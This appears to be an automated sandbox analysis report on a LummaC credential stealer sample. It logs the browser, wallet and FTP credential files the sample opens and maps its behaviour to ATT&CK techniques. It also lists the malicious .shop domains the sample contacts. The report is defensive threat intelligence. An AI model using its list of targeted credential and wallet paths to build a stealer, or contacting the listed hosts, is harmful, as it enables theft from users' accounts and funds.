Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1668963495.0000000001996000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SMmAznmdAa.exe PID: 1456, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SMmAznmdAa.exe PID: 1456, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SMmAznmdAa.exe	100%	Avira	TR/Crypt.TPM.Gen
SMmAznmdAa.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://fancywaxxers.shop/apip9	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/)	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/apiMicrosoft	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/U	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apit;	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/e	100%	Avira URL Cloud	malware
https://fancywaxxers.sho	0%	Avira URL Cloud	safe
https://fancywaxxers.shop/Z	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/f	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api0	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apiF	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/apitPK	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/-	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api-	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fancywaxxers.shop	104.21.48.1	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.100	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
fancywaxxers.shop	false	high
rabidcowse.shop	false	high
wholersorie.shop	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
cloudewahsj.shop	false	high
noisycuttej.shop	false	high
nearycrepso.shop	false	high
https://fancywaxxers.shop/api	false	high
framekgirus.shop	false	high
tirepublicerj.shop	false	high
abruptyopsn.shop	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_96.10.dr	false		high
https://duckduckgo.com/chrome_newtab	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/)	SMmAznmdAa.exe, 00000000.00000003.1698514123.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_96.10.dr	false		high
https://fancywaxxers.shop:443/apiMicrosoft	SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001923000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_96.10.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_108.10.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_96.10.dr	false		high
https://fancywaxxers.shop/apip9	SMmAznmdAa.exe, 00000000.00000003.1710511321.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/apit;	SMmAznmdAa.exe, 00000000.00000003.1637025679.000000000193A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637138567.000000000193C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_96.10.dr	false		high
http://x1.c.lencr.org/0	SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_96.10.dr, chromecache_94.10.dr, chromecache_131.10.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.sho	SMmAznmdAa.exe, 00000000.00000003.1688310715.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://learn-video.azurefd.net/vod/player	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://github.com/gewarren	chromecache_96.10.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	SMmAznmdAa.exe, 00000000.00000003.1669067780.0000000006352000.00000004.00000800.00020000.00000000.sdmp	false		high
